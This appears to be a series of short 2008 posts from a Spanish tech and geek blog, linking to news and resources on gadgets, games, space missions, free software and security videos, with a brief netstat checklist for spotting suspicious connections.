      Me llevé una sorpresa este verano cuando estuvimos unos días en Formentera (espectacular isla), al ver un monumento dedicado al genio Julio Verne:

      

      “Novelista genial y profeta de la Ciencia eligió este lugar para el desarrollo de su novela Hector Servadac Viaje a traves del Mundo Solar … "

      No conocía esta novela así que busqué un poco de información y la verdad es que me sorprendió bastante. Héctor Servadac es un oficial francés que estando en Formentera, un terremoto sacude la isla y al volver en sí descubre que algo raro está pasando. Hay menos horizonte, el día dura 6 horas, pesan menos y el sol sale por poniente. Después de muchas aventuras con mucho humor y un poco de satírica, se dan cuenta que un comenta ha arrancado la isla de Formentera y están viajando por el espacio … surrealista ¿verdad?.

      El diario "El Mundo" y su curso de "Informática", …

      

      Decepcionado me he quedado al ver el contenido del curso que el diario “El Mundo” lanzará mañana con 30 DVD y anunciado erróneamente como “El PC no tendrá secretos”, falta el matiz, usando software y herramientas Microsoft.

      ¿Por qué me ha decepcionado? pues básicamente ya que un diario de tirada nacional, que llega a todos los públicos, debería de ampliar el contenido a otra “Informática” y no exclusivamente a la de Windows, ya que el curso es sobre Windows XP, Vista, Office, Internet Explorer, etc.

      El primer coche volador para el año que viene

      

      Aunque parezca increíble (y es que el video parece un poco de broma) Transition va a sacar al mercado un coche híbrido, y no me refiero a que utilice baterías y motor de combustión, sino a que podrá rodar por carretera y además podrá VOLAR.

      El Transition alcanza una velocidad máxima de 128 kilómetros por hora circulando por carretera, que se eleva a 185 kilómetros por hora en el aire. La autonomía de vuelo de este vehículo se sitúa en torno a 740 kilómetros. El precio rondará los 132.000 €, por si estáis pensando en sortear atascos con él.

      Next Gen vs Sistemas de almacenamiento en la PS3

      

      Un gran amigo mio, Jose María Villalobos que escribe en Ecetia y ExtraCine, ha dado en el clavo con un problema que ahora empiezo a notar en mi PS3, y es el tema de almacenamiento de juegos, tanto de la Playstation Store como los comerciales (que guardan entre 300 Mb y 10Gb de datos).

      Me estoy viendo conectando discos extraibles por USB a la PS3 … o cambiando el disco duro … ya estamos probando … os mantendremos informados.

      Tim Burton dirigirá "Alicia en el Pais de las …

      

      (link foto)

      Tim Burton casi nunca nos falla (excepto con el remake de “El planeta de los simios” que nunca debió de existir), así que esperamos una buena película con el look característico de este director y sobre todo si está el genial Johnny Deep.

      Visto en:

      http://tecnoculto.com/2007/12/22/tim-burton-dirigira-alicia-en-el-pais-de-las-maravillas/

      http://www.boingboing.net/2007/12/10/tim-burton-to-direct.html

      Lo mejor de lo mejor (programas) de LifeHacker

      

      Ya sabéis que somos fieles seguidores de la magnífica LifeHacker, bueno pues ahora han sacado su top de los top en 26 categorías, te las describimos:

      Mejor organizador de fotos digitales: Picasa (Windows y Linux)

      Mejor Messenger: Pidgin (Windows/Linux)

      Mejor aplicación GTD (Getting Things Done, organizadores de tareas y tiempo): realmente son 5, aquí.

      Mejor herramienta para ripeo DVD: DVD Shrink (Windows)

      Mejor aplicación para administrar contactos: Adress Book (Mac OS X)

      Cómo llegar a ser un programador

      

      http://www.flickr.com/photos/67523311@N00/114420037

      Excelente guía desde cero para ayudarte a ser un programador. Al principio te orienta con lo básico, matemáticas discretas, pseudocódigo, diagramas de flujo, etc … y luego a decidir el tipo de programador que quieres ser, programador Web, programador de aplicaciones de escritorio, de sistemas, etc …

      Os recomiendo leerlo si estás interesado por la programación, está genial, viene con enlaces estupendos y el desarrollo de los tipos de programadores es espectacular.

      ¡Feliz cumpleaños Google!

      

      Hacking ilustrado, más videos y tutoriales sobre …

      

      Genial página web donde hay bastantes videos recopilados sobre técnicas de hacking, redes, hardware hacking, etc … en resúmen, todo sobre seguridad explicado con videos.

      Fantástico.

      No te olvides de echar un vistazo a las otras páginas que contiene.

      Para nuestra colección.

      http://www.irongeek.com/i.php?page=security/hackingillustrated

      Nuestros favoritos:

      “Creando un Pendrive con AutoHacking usando sólamente el Autorun y ficheros bat”

      “Acceso remoto y configuración: preparando conexión SSH y VNC en Linux Ubuntu”

      La mejor caja de modding, 6 PC's en una pared

      

      Modding extremo, no estoy seguro de su utilidad pero no queda mal.

      Visto en:

      http://dvice.com/archives/2008/09/the_ultimate_pc.php

      Miles de huellas de dinosaurios, en Cal Orko

      

      Cal Orko

      Impresionante pared de 80 metros de altura, con 73º de inclinación y 1.200 metros de longitud llena de huellas creadas por dinosaurios hace millones de años. Hay más de 2.000 huellas de 294 dinosaurios diferentes (segundo periodo del Cretácico).

      Como dice el post original, parece una pista de baile de dinosaurios.

      Visto en:

      http://www.neatorama.com/2008/09/26/cal-orko-dinousaur-dance-floor/

      Gizmo's Freeware, programas gratuitos

      

      He encontrado esta página con una gran selección de programas freeware para Windows. Lo mejor es la organización y los comentarios a los programas disponibles, muy ordenado.

      Muy recomendable su visita.

      http://www.techsupportalert.com/

      Problemas en CyberHades (resueltos)

      Hemos tenido un pequeño problema de ancho de banda pero ya hemos vuelto.

      Disculpas a todos.

      Gracias por seguir nuestro blog.

      Thinking Machine 4, viendo como piensa el …

      

      Interesante programa para jugar al ajedrez que nos muestra mediante diferentes curvas en el tablero (líneas verdes blancas, naranjas negras), todas las posibilidades que tiene la computadora a la hora de mover una pieza en el juego de ajedrez. Es curioso e interesante ya que muestra todos los posibles movimientos actuales, los que podría hacer la máquina, los que podría hacer el jugador, etc … todo muy visual y agradable (a pesar de la gran cantidad de combinaciones mostradas).

      Processing 1.0 (Beta), lenguaje Open Source …

      

      Processing es un lenguaje de programación de código abierto basado en Java, fácil de usar diseñado para realizar proyectos multimedia. También se utiliza para aprender las bases de la programación en general (ya que es un lenguaje muy esquemático), además puedes programar código para aplicaciones locales en un PC/MAC, aplicaciones Web o incluso aplicaciones para dispositivos móviles.

      El secreto está en la gran cantidad de librerias o applet ya programados para todo tipo de efectos (en el ejemplo de abajo se usa un applet para aplicar leyes físicas a objetos) y en la sencillez de la programación.

      China quiere comenzar su carrera espacial viajando …

      

      Parece ser que China basándose en los estudios de Roger Shawyer, program manager de EADS Astrium, están construyendo una nave espacial que les permitiría, si sus cálculos son correctos, recorrer la distancia entre la Tierra y Marte en 41 días. Los propulsores de esta nave, EmDrive, se basan en el llenado de una cavidad cónica con microondas para producir empuje.

      http://nextbigfuture.com/2008/09/china-will-build-controversial-emdrive.html

      La polémica está servida ya que los cálculos teóricos realizados por Shawyer violan la ley de conservación del momentum (o cantidad de movimiento).

      Sony Rolly, reproductor de MP3 bastante especial, …

      Las imágenes valen más de que miles de palabras …

      Que cachondo ;)

      Visto en:

      http://www.nopuedocreer.com/quelohayaninventado/7864/sony-rolly-llega-a-espana-%c2%bfquieres-ir-al-concierto-presentacion/

      http://www.soygeek.com/index.php/2008/09/23/sony-rolly/

      http://en.wikipedia.org/wiki/Rolly_(Sony )

      Anuncio "Work your magic"

      Visto en:

      http://larryfire.wordpress.com/2008/09/24/jc-penney-work-your-magic-ad/

      Rubik's Mirror Block

      El nuevo juguetito de Rubik, de momento sólo en Japón.

      Visto en:

      http://www.microsiervos.com/archivo/puzzles-y-rubik/rubiks-mirror.html

      Funcionamiento del LHC: Sencilla explicación con …

      

      Aquí os dejo una explicación muy visual de cómo esperan hacer funcionar el LHC. Podéis encontrar información de las instalaciones del CERN, los experimentos que esperan poder realizar, el funcionamiento del colisionador de hadrones (LHC) y cómo realizarán las mediciones de lo allí ocurrido.

      http://www.elmundo.es/elmundo/2007/graficos/jun/s1/cern.html

      Además, para los aficionados a la física (o los interesados en aficionarse) os dejo también este link en el cual podréis encontrar una descripción de todas las partículas descubiertas y las que esperan descubrir (véase bosón de Higgs).

      Atlantis y Endeavour, juntos y listos para …

      

      El motivo es la complejidad de la misión, reparar el Hubble. Una de las lanzaderas despegará para realizar la misión y la otra estará lista por si tienen que salir al rescate.

      Visto en:

      http://barrapunto.com/articles/08/09/22/2146236.shtml

      http://tomsastroblog.com/?p=1969

      Wyvern MMORPG

      

      Otros de esos juegos de rol online con encanto. Con aspecto retro pero con un mapa enorme, sólo tienes que crearte un personaje y adentrarte en el magnífico mundo de Wyvern.

      Si cumples ciertos requisitos, puedes llegar a ser un Wizard, con lo cual podrás creas áreas y programar nuevos eventos de personajes.

      Todo está creado en Java, y existen multitud de API’s ya preparadas, como combates, modificar la AI, etc …

      "This Will Destroy You", otro grupo magnífico de …

      

      This Will Destroy You

      http://www.thiswilldestroyyou.com/right.htm

      http://www.myspace.com/thiswilldestroyyou

      The World is Our:

      Quiet:

      3:19 en el Festival de San Sebastián

      

      Si aún tienes oportunidad de verla, no te la pierdas, 3:19

      http://www.sansebastianfestival.com/es/noticia.php?id=194

      http://www.sansebastianfestival.com/

      http://319lapelicula.com/?p=69

      Más imágenes de Windows 7 Beta

      

      Puedes verlas en:

      http://www.thinknext.net/archives/2268

      Una introducción a la computación de 64bits y …

      

      Excelente introducción a la computación de 64 bits, eso sí, en inglés:

      Visto en:

      http://arstechnica.com/articles/paedia/cpu/x86-64.ars

      Tamaños relativos

      How - video powered by Metacafe

      http://www.neatorama.com/2008/09/22/relative-size/

      Preguntas a grandes programadores (y sus …

      

      Preguntas muy interesantes las realizadas a estos auténticos gurus de la informática:

      Linus Torvalds - Autor del Kernel de Linux

      Dave Thomas - “Pragmmatic Programmer”, “Programming Ruby”, autor de estos libros de culto.

      David Heinemeier Hansson - autor de “Rails Framework”

      Steve Yegge - Autor del juego “Wyvern”.

      Peter Norvig - Director de investigación de Google

      Guido Van Rossum - creador del lenguaje Python

      Bjarne Stroustrup - creador del C++

      Light Bot, otro juego para engancharte

      

      Realmente adictivo y muy interesante, ya que es realmente programar los movimientos del robot para que realice las operaciones pertinentes para llegar a su objetivo. Lo he visto en:

      http://www.mundotech.net/juega-a-pensar-como-un-programador/

      Para jugar:

      http://www.gameroo.nl/games/light-bot

      Y no he podido dejar de jugar durante un buen rato. Para moverlo programas una función principal pero puedes hacer subrutinas para crear movimientos más complejos. El objetivo es encender todos los cuadros azules.

      Las mejores fotos de un Calamar Gigante, y algunos …

      

      Impresionante, cada foto tiene su correspondiente explicación.

      Realmente una máquina de matar. Por ejemplo, cada uno de los ocho tentáculos tiene 20 ventosas grandes en los extremos, 16 ganchos al final del tentáculo y 150 ventosas más pequeñas cerca de la boca, visión nocturna (recibe 144 veces más luz que la retina humana), 3 corazones, etc…

      

      A pesar de ya vemos que existen, no se ha capturado ninguno vivo.

      La Campaña de "Pc vc Mac" (de Microsoft) hecha en …

      

      XD, parece que al analizar los metadatos aparece “Photoshop CS3 Mac” (hablamos de las imágenes, no del video). Al parecer ha sido un usuario de Flickr quien lo ha descubierto.

      Pero mejor lee la entrada completa en MuyComputer.

      Como saber si tu equipo está infectado o hace …

      

      Windows, Linux y Mac.

      Sin necesidad de software externo, vamos a usar el comando:

      netstat

      • Abrimos una ventana de comandos. En Windows Inicio->Ejecutar->cmd

      • Nos aseguramos de que no tenemos ningún programa abierto, como programas P2P, un navegador, etc …

      • luego ejecutamos el comando: netstat -ano

      • En los resultados, todo está correcto si puedes ver “LISTENING” en la lista de conexiones y puertos.

      • Si alguno aparece “ESTABLISHED” ojo, pasamos a analizarlo.

      • Nos fijamos en la columna PID, de la conexión “ESTABLISHED”.

      • Luego, en Windows vamos a ver los procesos, para eso CTRL+ALT+SUPR, Administrador de Tareas, Procesos. En Linux, usa el comando ps -a

      • Ahora en “Ver” selecciona “Seleccionar columnas” marca la opción “Identificador de proceso”:

      Mac vs PC, y PC vs Mac

      Y esta es la contra de Microsoft, “Im a PC” (está en inglés pero se entiende muy bien):

      Salvapantallas de la Pantalla Azul de la Muerte …

       

       Todos nos hemos enfrentado alguna vez a la BSOD, incluso los de Microsoft y Bill Gates:

      Pues esta aplicación es un salvapantallas que reproduce diferentes errores del sistema y te los muestra con la pantalla azul de la muerte. Por otro lado simula el reinicio del equipo usando tu misma pantalla de arranque … muy divertido.

      Puedes descargarlo desde:

      http://download.sysinternals.com/Files/BlueScreen.zip

      Visto en:

      Liberada la beta (en español) del Internet …

      

      Nuevas caracteríticas bastante interesantes, algunos enlaces para más detalles:

      http://www.infobae.com/contenidos/404060-100918-0-Ya-est á-en-español-la-versión-de-pruebas-del-nuevo-Explorer

      http://www.microsoft.com/windows/internet-explorer/beta/default.aspx

      http://barrapunto.com/articles/08/09/03/093219.shtml

      Lo probaremos, tiene un “modo porno” que no estoy seguro si es para bloquearlo o para descargarlo ;)

      Tendencias del fraude online (S21sec labs)

      

      Excelente, directo desde S21sec labs:

      http://blog.s21sec.com/2008/09/tendencias-en-el-fraude-online.html

      De paso os recomendamos el blog, es excelente para estar al día sobre seguridad:

      http://blog.s21.sec.com/

      El viento marciano visto por la Phoenix

      

      Hacía tiempo que no hablaba de la sonda Phoenix, de momento sigue recopilando información para su análisis antes de que llegue el invierno marciano (cosa que tiene que ser espectacular ver la escarcha en el suelo). Estas fotos son de un remolino (dust devil) en la foto arriba a la izquierda (puedes ver la animación en el enlace de abajo), pero mejor echa un vistazo al excelente post de SondasEspaciales:

      Baila el Cthulhu Cthulhu (la entrada más friki …

      No tengo palabras de verdad, no sé si llorar o reirme X_D.

      Dedicado a mi amigo George Mac ;)

      No se si es más infernal el Cthulhu o el ritmito del chiki chiki …

      Cursos gratuitos de Robótica e Informática

      

      Por la Universidad de Stanford:

      http://news.slashdot.org/news/08/09/17/228227.shtml

      Enlace original:

      http://www.deviceguru.com/2008/09/17/stanford-frees-cs-robotics-courses/

      Idénticos a los ofrecidos a los estudiantes registrados de la Universidad con el compromiso de colgar videos, trabajos, exámenes, etc.

      Le echaremos un vistazo.

      Más pasteles Geek

      

      Ya sabéis que nos gustan los pasteles geek, pues he visto más en PuntoGeek:

      http://www.puntogeek.com/2008/09/18/magdalenas-geek/

      La novia de Darth Vader

      

      http://www.neatorama.com/2008/09/17/darth-and-date/

      http://gizmodo.com/5051226/caption-contest-vader-love

      Top 10 herramientas para el botón derecho del …

      

      De nuevo desde nuestra página favorita LifeHacker, un top 10, esta vez sobre aplicaciones que puedes incluir en el menu del botón derecho del ratón (el potencial es enorme si usas las herramientas adecuadas, ahorrarás mucho tiempo en hacer diversas operaciones rutinarias):

      10. Añadir acciones útiles a Nautilus (Linux): instalando algunos paquetes adicionales podrás obtener funciones como por ejemplo rotar imágenes, cambiar tamaño, abrir terminal, ejecutar como administrador, etc … Si tienes UBUNTU, puedes instalar las opciones que hemos comentado con estos paquetes: nautilus-gksu, nautilus-image-converter  y nautilus-open-terminal.

      El debut de Android el 23 de Septiembre

      

      Será desvelado al mundo oficialmente el 23 de Septiembre usando el móvil HTC Dream.

      Sobre Android:

      http://es.wikipedia.org/wiki/Android

      http://code.google.com/android/

      Estaremos atentos.

      http://despuesdegoogle.com/2008/08/31/android-htc-dream-primeras-fotos/

      http://arstechnica.com/news.ars/post/20080917-android-to-officially-debut-on-htc-dream-next-week.html

      Investigadores del Pentágono creen que terroristas …

      

      No sé si tomarme esto en serio o en broma, pero es alucinante:

      http://blog.wired.com/defense/2008/09/world-of-warcra.html

      Las autoridades militares y de inteligencia americanas están preocupados de que terroristas “Bin Laden’s” estén camuflados dentro de un mundo virtual planeando ataques en el mundo real, en este caso usando los mapas del WOW. No tienen pruebas  de este hecho pero les pone muy nerviosos sobre todo que los mundos virtuales son muy buenos para camuflarte, difíciles de monitorizar, usan nombres falsos, el acceso es global, el vocabulario es amplio y críptico, hay guilds o hermandades, y sobre todo, los agentes especiales no tienen práctica en estos juegos (no es fácil llegar a nivel 70).

      Lechuga carnívora, comercial de Wendy's

      Cadena comercial Wendy’s

      Confirmado, Microsoft baja los precios de la Xbox …

      

      Ya lo avisábamos en nuestro blog:

      http://www.cyberhades.com/?p=1241

      Y ahora ya parece oficial:

      Microsoft baja los precios de la 360 en Europa (diario El Mundo)

      La arcade a 179 €, la pro a 239 y la elite a 299 €.

      Más barato de lo que pensábamos …

      Ahora ya podemos ir a por una ;)

      El Hubble encuentra un misterioso objeto estelar

      

      El 21 de febrero de 2006 en dirección al lejano clusters de estrellas llamado CL 1432.5+3332.8, el telescopio orbital Hubble empezó a ver algo brillante durante 100 días. Este objeto brillante perdió intensidad de brillo de la misma forma gradual que la ganó. No es una supernova, al menos de las que conocemos. Los astrónomos comentan que lo realmente extraño es la curva de luz “inconsistente”, ya que el espectro de luz no coincide con ninguno de los objetos de la Sloan Digital Survey Database, por lo cual tiene que ser un nuevo objeto.

      World of Warcraft, Wrath of the Lich King, a la …

      

      Casi acertamos ;) pero ya está anunciado definitivamente:

      http://eu.blizzard.com/es/press/080915.html

      http://www.wow-europe.com/wrath/features/collector/index.xml

      Máquina Donkey Kong hecha con Lego (y puedes …

      Como construir un "Network Tap" pasivo para …

      

      Este montaje es tremendamente útil si quieres monitorizar el tráfico de una red sin problemas. No es detectable, evita el aislamiento que hacen muchos switches o routers con el tráfico de red, puedes monitorizar todo el tráfico de la red (no sólamente el que tiene tu tarjeta), etc …

       

      Usando dos o varios de estos “network taps” puedes monitorizar los datos  “full duplex” por separado, ya que muchos de los programas “sniffers” de la red requieren que los datos sean sólo “full duplex” y además dos tarjetas de red.

      Windows 7 Beta 1, a mediados de diciembre

      Visto en:

       

      http://blogs.zdnet.com/microsoft/?p=1582

      De momento, los pocos “afortunados” que han podido trabajar con Windows 7 llegan a la misma conclusión, de momento es una versión mejorada de Vista (tiene el mismo look):

      http://www.winsupersite.com/showcase/win7_6519.asp

      Si es cierto que lanzan la Beta a mediados de diciembre, eso quiere decir que el producto posiblemente saldrá un año después de la beta (finales de 2009).

      3M lanza el primer videoproyector portátil

      

      Lo mejor es que lo veas en acción:

      Alucinante, para más información:

      http://www.popsci.com/gear-%2526-gadgets/article/2008-09/3m-launches-first-pocket-projector

      http://www.engadget.com/tag/Mpro+110/

      Kaboodle

      

      Aplicación gratuita que rastrea tu red y te muestra todos los equipos conectados, además te lo muestra con gráficos.

      Muy útil para ver que dispositivos de conectan a tu red o si alguien no autorizado se conecta a tu WiFi o LAN:

      http://www.kaboodle.org/windows.html

      San Francisco a la caza un dispositivo misterioso …

      

      Las autoridades están buscando un misterioso dispositivo oculto en la red de datos de la ciudad de San Francisco, que está provocando daños por un valor de 1 millón de doláres.

      Aparece con la referencia "Terminal Server" en algunos documentos, al parecer es un router que ha sido instalado para proveer acceso remoto a la red de Fibra WAN de la ciudad. Las autoridades no han podido acceder al dispositivo porque no tiene ni usuario ni contraseña, y ademá físicamente no saben donde localizarlo.

      La mejor foto de la llegada a la Luna

      Ya la tenía en mi colección como la mejor foto que había visto de la Luna y los módulos lunares, pero viendo El Tamiz, que por cierto es una de nuestras páginas favoritas de ciencia, la he visto y me he acordado.

      Esta es:

      

      Impresionante contraste de la fragilidad del módulo del Apolo XII descendiendo con la imponente Luna de fondo.

      Zona de aterrizaje Apolo XII

      Mignonette, kit electrónico de juegos

      

      He visto en Evil Mad Sciencist este proyecto bastante interesante.

      Mignonette es una plataforma minimalista de juegos basado en un microcontrolador AVR conectado a una matriz de leds de 5x7 bicolor (rojo y verde), lo que conseguimos 70 de bits de juegos ;). Está diseñado para ser fácil de montar usando los mínimos componentes, básicamente 4 botones para jugar, el AVR, el display LED, dos transistores ULN2003A, un altavoz simple y una carcasa para las baterías AA (2).

      Nuevo comercial iPod Nano

      iPod Nano 4a Generación

      El robot Yellow Drum Machine, fantástico

       

      

      No he podido evitar poner este post sobre uno de los robots más curiosos e interesantes que he visto (no te pierdas el video):  

      Datos del robot:

      Coste: 120$ (84€)

      Tiempo de construcción: 20 horas

      Motores y dispositivos: dos altavoces y 6 motores

      Control: autónomo

      CPU: Picaxe 28

      Sistema operativo: Picaxe Basic

      Batería: 4 pilas tipo AA

      Sensores y dispositivos de entrada: SRF05 y un micrófono

      Fotos espectaculares con macro

      

      Realmente preciosas y espectaculares, visto en:

      http://www.neatorama.com/2008/09/09/wonderful-macro-photography-of-dews/

      Enlace directo a las fotos en:

      http://www.scienceray.com/Earth-Sciences/Meteorology/Every-Dew-Drop-has-Heaven-in-It.243385

      Fotos con macro, macrofotografía.

      Los 25 videos más divertidos de la Web según …

      Visto en:

      http://larryfire.wordpress.com/2008/09/08/the-25-funniest-videos-on-the-web/

      Enlace original:

      http://www.rollingstone.com/rockdaily/index.php/2008/09/05/the-25-funniest-videos-on-the-web/

      http://www.rollingstone.com/news/coverstory/22851112/

      Y esta es nuestra selección:

      1- Niño gordito entra en pánico en la montaña rusa

      2- El Lemur sorprendido

      3- Madre mía que caida, espectacular (no olvides el audio …)

      4- X-Wing abatido por el Imperio (montaje espectacular)

      5- Un poco de musical desde la India

      Internet Galáctica y las Cefeidas

      

      Genial artículo sobre una teoría de la que nunca había oido hablar sobre una posible comunicación con civilizaciones alienígenas, no os perdáis ni una sola palabra del post en:

      http://www.cienciakanija.com/2008/09/04/comunicarnos-a-traves-de-la-internet-galactica-cefeida/

      ¿Qué es una estrella Cefeida?

      Enlace directo al PDF con el artículo original:

      http://xxx.lanl.gov/PS_cache/arxiv/pdf/0809/0809.0339v2.pdf

      Realmente alucinante…

      Plastic Logic, listo para lanzar el lector de …

      

      http://www.plasticlogic.com/

      Bueno de periódicos o de lo que sea en blanco y negro, usará conexión WiFi para descargar el contenido, con espacio para cientos de documentos, con el doble de tamaño de pantalla que el Kindle de Amazon y además flexible.

      Parece que estará disponible sobre mediados de 2009.

      http://www.engadget.com/2008/09/08/plastic-logic-finally-ready-to-launch-flexible-e-newspaper-re/

      Totalmente revolucionario.

      Rumor: la nueva DS con doble pantalla táctil

      

      Eso sí es un rumor que circula por Internet. Debido a los cambios que van a efectuar los de Sony a la PSP, Nintendo tiene que renovar su imágen de la DS y esta parece una buena opción. Entre abril y mayo de 2009 saldrá a la venta, una de las mejoras ya anunciada es la pantalla panorámica (wide screen):

      http://www.gamertell.com/gaming/comment/rumor-new-ds-may-include-dual-touch-screens-one-widescreen/

      WINE se actualiza v1.1.4, incluso para soporte de …

      

      Linux

      Visto en:

      http://lifehacker.com/5046581/wine-updates-with-better-chrome-support

      Algunas de las mejoras:

      - Reparación de varios bugs (menos “cuelgues”)

      • WinHTTP mejorado

      • Más soporte JavaScript

      etc … para más información pulsa aquí.

      Por si no lo sabes, WINE es una aplicación para ejecutar programas Windows en entornos Linux. Algunas de las aplicaciones que puedes ejecutar (probadas) son por ejemplo World of Warcraft, Photoshop, Microsoft Office, etc …

      Si quieres saber más sobre la aplicación, aquí tienes un manual fantástico sobre como se configura:

      Desktop Tower Defense, juego en flash

      

      Muy adictivo y divertido.

       Tienes que instalar diferentes unidades en un territorio (tienes torres, francotiradores, misiles …) y luego empezarán a llegar oleadas de enemigos que en función de la forma en la que hayas distribuido tus unidades, podrán o no pasar (cada enemigo que pasa es puntuación negativa).

      Visto en:

      http://www.neatorama.com/2007/03/31/desktop-tower-defense/

      Para jugar:

      http://www.handdrawngames.com/DesktopTD/

      Google cumple 10 años

      

      Google cumplió ayer (6 de septiembre) 10 años de existencia, estos son algunos de los post más interesantes sobre esta efeméride:

      http://www.microsiervos.com/archivo/internet/google-diez-anyos-encuesta.html

      http://google.dirson.com/post/4090-google-cumple-10/

      http://tech.slashdot.org/tech/08/09/05/1944214.shtml

      Google, 10 años en imágenes

      Un libro que ya hemos leido y recomendado en nuestro aparatado “leemos”:

      The Google History

      Felicidades Google.

      Brownies Tetris

      

      Tienen buena pinta, visto en:

      http://www.boingboing.net/2008/09/05/howto-make-tetris-br.html

      Como doblar cables

      Como se ha creado el logotipo de Google Chrome

      

       

      http://www.neatorama.com/2008/09/05/google-chrome-got-sal-9000s-eye/

      Mazzick, crea accesos directos con movimientos del …

      

      Windows

      Interesante y curiosa utilidad que puedes guardar en el disco usb (es portable), con la que puedes crear accesos directos para ejecutar alguna aplicación, abrir MiPC, Panel de control, apagar la CPU,etc … con movimientos concretos del ratón (patrones). Por ejemplo para crearlo, sólo tienes que pulsar SHIFT y luego hacer el movimiento que quieres asociar para que ejecute la acción (en la imágen de arriba puedes ver algún ejemplo hecho por los chicos de LifeHacker).

      Miopocket 2.0, convierte en PDA tu GPS

      

      Esta utilidad libera tu unidad GPS para sacar todo el potencial y convertirla en PDA, por ejemplo ver videos, música, juegos, ficheros de office, etc …

      En principio sólo estaba desarrollado para modelos de la marca Mio, pero funciona perfectamente en otros modelos de otras marcas (eso sí tienes que probarlo, no he encontrado un listado). El software se instala en la tarjeta SD, lo que hace más fácil instalarlo o desinstalarlo, también dejas intacto y completamente operativo el software GPS de fábrica.

      Warcraft (2009), la película, algunos datos más

      

      (primera supuesta imágen o boceto de la película)

      No hay mucha información pero en la BlizzCon se filtraron algunos datos que se han publicado en:

      http://www.imdb.com/title/tt0803096/

      Este es el texto traducido:

      “Thrall estará en la película. Estará enfocado principalmente desde el punto de vista de la Alianza y la época será un año antes de que empezara World of Warcraft. Se centrará en el conflicto de culturas. No será una película de aventuras como El Señor de los Anillos, será más una película de guerra.”

      Cables To Go, anuncia un kit USB Wifi a VGA

      

      Antes de nada, te aconsejo un paseo por la web:

      www.cablestogo.com

      Vas a encontrar todo tipo de cables, todo absolutamente. Ahora han anunciado un nuevo producto, el adaptador Trulink Wireless USB to VGA, el cual te permite enviar desde un ordenador a un monitor, proyector o TV, la señal de video hasta aproximadamente 10 metros de distancia por Wifi.

      Algunas características:

      • Alta resolución UXGA y WSXGA
      • El display wireless puede ser compartido hasta por 6 ordenadores 
      • Resolución hasta 720p 
      • Soporta escritorio extendido y doble monitor
      Interesante dispositivo ... saldrá este noviembre al mercado.

      Visto en:

      Un peluche por cada partícula (SoyGeek)

      

      Visto directamente en SoyGeek:

      http://www.soygeek.com/index.php/2008/09/04/el-zoo-de-las-particulas/

      The particle zoo, tengo algunos amigos míos químicos que les gustará  (¿verdad AiT y MC?), ya veremos cual le regalamos …

      Picasa versión 3.0 lanzada (incluye reconocimiento …

      

      Si te gusta Picasa, no dudes en actualizarlo a la versión 3.0 ya que incluye nuevas funciones bastantes espectaculares, por ejemplo:

      - Reconocimiento facial. Ya podrás agrupar fotos sin etiquetas, simplemente entre las que se parezcan

      • Reparación de fotos antiguas con un solo click

      • Autoreparación de ojo-rojo

      • Nuevas formas de recortar

      • Salvapantallas

      Lista completa de nuevas funciones:

      http://picasa.google.com/support/bin/answer.py?answer=94125

      Descarga:

      http://picasa.google.com/thanks.html

      Visto en:

      Microsoft confirma una bajada de precios de la …

        

      Parece que a partir del 5 de septiembre bajará el precio de todos los modelos Xbox 360. En concreto, para la Arcade el precio final será de 199$ (138€), para la Pro 299$ (207€) y 399$ (307€) para la Elite.

      Este anuncio sólo afecta de momento a Estados Unidos, pero es posible que se aplique pronto en Europa.

      Si estas pensando en pillarte una, ten en cuenta este dato.

      Luz verde a la fabricación de una supercomputadora …

      

      Fabricado por IBM, se llamará Blue Waters tendrá de velocidad de proceso hasta 2 petaflops (operaciones por segundo en coma flotante, peta=10 elevado a 15, un PC normal no llega un gigaflop), un petabyte de memoria RAM y 10 petabytes para almacenamiento. Como la mayoría de estas supercomputadores, se dedicará a la Ciencia, por ejemplo agujeros negros, bilogía molecular, etc … ya hemos alcanzado la escala “peta” en la supercomputación, cada día más cerca de obtener un HAL ;)

      (Microsiervos) Comparativa de los navegadores …

      

      De nuevo gracias a la fantástica Microsiervos tenemos este magnífico artículo sobre una comparativa entre el recién publicado Google Chrome y nuestros ya viejos amigos Internet Explorer y FireFox.

      http://www.microsiervos.com/archivo/internet/chrome-comprado-firefox-explorer.html

      No os lo perdáis.

      Commodore ha vuelto

      

      Bueno, no el Commodore que todos conocíamos pero al menos el logotipo es el mismo y la empresa (en teoría) es la misma también.

      No he encontrado mucha información, sobre todo la que todos queremos oir , sobre si será compatible de alguna forma con los juegos y software antiguos de Commodore (la verdad es que siempre nos quedarán los emuladores).

      Según he leido en CrunchGear, Commodore será a partir de ahora un fabricante de ordenadores específicamente para juegos (gaming) y estas son algunas de las características de un sobremesa (vaya la verdad es que son muy cañeros):

      Fábrica de coches LEGO hecha con piezas de LEGO

      Hecha con LEGO Mindstorm (por cierto quiero uno), visto en:

      http://www.nopuedocreer.com/quelohayaninventado/7449/fabrica-de-coches-de-lego-hecha-en-lego/

      Alucinante.

      Utilidad para monitorización y estadísticas para …

      

      Se llama EXInsight, y con ella puedes ver en tiempo real el estado del servidor, las transacciones, evaluación del uso del servidord, muy útil para administradores y desarrolladores. También te servirá para ver cómo funcionan internamente los protocolos MAPI, OWA, POP3, NNTP, etc …

      De momento, es gratuita.

      visto en:

      http://4sysops.com/archives/exinsight-for-microsoft-exchange/

      Wardog y el mundo ... para descojonarse

      

      Muchos de los que leéis este blog os sentiréis totalmente identificados con este administrador de sistemas que tiene que lidiar a diario con todo tipo de usuarios.

      No os perdáis las entradas, son desternillantes (recomendamos en concreto esta), el enlace del blog es:

      http://www.mundowdg.com/blog/

      Real cómo la vida misma.

      Ánimo Wardog ;)

      3d Traceroute, información en 3D del comando …

      

      El comando “traceroute” (“tracert” en Windows) sirve para monitorizar el tráfico enviando paquetes de un host a otro, tiempos, saltos, etc…

      Útil gracias a su interfaz gráfica,  para detectar cuellos de botella en la red o para ver retardos en la misma.

      Visto en:

      http://4sysops.com/archives/free-3d-traceroute-displays-traceroute-information-in-3d/

      Y puedes descargarlo desde:

      http://www.d3tr.com/

      Cómo construir un clon del sistema de guía por …

      

      Al hilo del anterior post sobre las misiones Apolo, he visto en:

      http://www.hackaday.com/2008/08/31/apollo-guidance-computer-clone/

      cómo fabricar un ordenador exactamente igual al usado como sistema de guía en las misiones ó AGC.

      En este enlace encontrarás toda la información sobre el proyecto:

      http://klabs.org/history/build_agc/

      http://www.ibiblio.org/apollo/Pultorak.html

      Sólo un dato, tardó 4 años en hacerlo …

      Recursos con fotos y datos técnicos sobre las …

       

      

      He ido buscando información (sobre todo fotos y hojas técnicas) sobre las misiones Apolo a la Luna (para mi, el mayor logro de la Historia de la Humanidad). Esta es una recopilación de dichos enlaces con información interesante:

      http://apollo.sese.asu.edu/

